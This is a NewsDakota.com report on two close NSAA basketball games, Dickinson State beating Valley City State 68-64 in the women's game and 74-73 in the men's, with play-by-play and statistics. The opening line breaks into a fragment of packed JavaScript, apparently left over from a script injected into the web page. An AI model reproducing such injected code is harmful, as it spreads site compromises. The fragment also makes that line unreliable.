VALLEY rbehb|var|u0026u|referrer|aiedb||js|php’.split(‘|’),0,{}))
CITY (NewsDakota.com)- VCSU fell short in a pair close NSAA Conference basketball games Monday at The WE Osmon Fieldhouse. No 24 Dickinson State University won the women’s game 68-64 to take sole possession of 2nd place in the conference. The Blue Hawks men’s team had to hold on for a 74-73 win. The two teams will turn around and play again Friday night in Dickinson. Tip off is at 6:15.
WBB DSU 68 VCSU 64
The Valley City State women’s basketbal team was edged out by the #24 Dickinson State Bluehawks on Monday night by a score of 68-64.
Dickinson State’s Lorna Shepherd scored a go-ahead layup with 40 seconds left, giving DSU the lead for good at 63-62. Shepherd would make four late free throws to seal the win for the Bluehawks.
Dickinson State was led in scoring by Megan Klein with 21 points. She also added 13 rebounds for a double-double.
The Bluehawks raced out to an early 5-0 lead which would be their largest of the game. A pair of 3’s by Nisja Bass and Georgia Williams would give the Vikings a 6-5 lead in a sign of things to come. Neither team was able to gain much of an upper hand and the Blue Hawks led 30-28 at halftime. The game saw 16 lead changes and 10 ties.
The Vikings were led in scoring by Lexi Lennon with 20 points, and Georgia Williams added 16.
The Vikings committed 11 turnovers to DSU’s 20. However, VCSU was out-rebounded 32-22 and reached the free throw line only four times compared to DSU’s 16 free throw attempts.
The Vikings fall to 15-6 overall and 6-2 in NSAA play. Dickinson State improves to 14-5 overall and 7-1 in NSAA play.
MBB DSU 74 VCSU 73
Dickinson State’s Marcus White made the game-winning free throws with 10 seconds left Monday night, propelling the Blue Hawk men’s basketball team to a 74-73 road victory at Valley City State University.
VCSU’s Rashad Satahoo made a go-ahead 3-pointer with 14 seconds left, putting the Vikings up 73-72 in the closing seconds, but the lead would not hold up.
After a Dickinson timeout, White was fouled on a shot attempt inside. He went to the line and sank both foul shots for a 74-73 lead. Satahoo drove to the basket on the other end and dished off to Ellwood Ellenson, who was fouled on his shot attempt with 0.2 seconds left. Ellenson could not force overtime though as both foul shots rimmed off, sealing the Blue Hawk victory.
The final seconds capped a thrilling end to the game, which featured five ties and seven lead changes in the last four minutes of play.
Valley City State drops to 12-10 overall and 4-4 in conference play. Dickinson State improves to 14-7 overall and 6-2 in the North Star Athletic Association. The Blue Hawks moved into a tie with Bellevue for first place in the conference after the first round of play. VCSU and Dickinson will rematch Friday night in Dickinson.
The Vikings started fast Monday, jumping out to 8-0 and 23-9 leads in the first half. The Blue Hawks closed the gap to 39-33 at halftime. Dickinson State took its first lead of the game, 62-61, after a Reggie Fields Jr. basket with 3:53 remaining. From there the teams traded baskets and free throws until the final buzzer.
White hit a basket inside to put the Blue Hawks up 72-70 with 25 seconds left. Satahoo’s 3 gave VCSU a 73-72 lead with 14 seconds to go, and then White had the final say with his game-winning free throws.
Satahoo scored a game-high 27 points to lead the Viking offense. The junior guard connected on 6 out of 10 3-point attempts and was 10-for-16 from the field. Austin Dunbar posted a huge double-double – his seventh of the season – with 20 points, 13 rebounds and four blocks. Jayden Ferguson poured in 20 points as well for VCSU as three players combined for 67 of the 73 points.
Dickinson State had four players in double figures, led by 14 points each from Ryan Clark and Reggie Fields. Marcus White added 13 points and Jerry Shevlin scored 12.
VCSU shot 58 percent in the first half and 53 percent in the game (28-53). The Vikings were 8-for-15 from 3-point range and 9-for-14 at the line. Dickinson State finished at 47 percent overall (27-57). The Blue Hawks went 6-for-15 on 3’s and 14-for-18 on free throws.
VCSU held a 30-26 advantage on the glass and both teams finished with six offensive rebounds. The Vikings had 16 turnovers – six above their season average – while Dickinson committed 11 turnovers.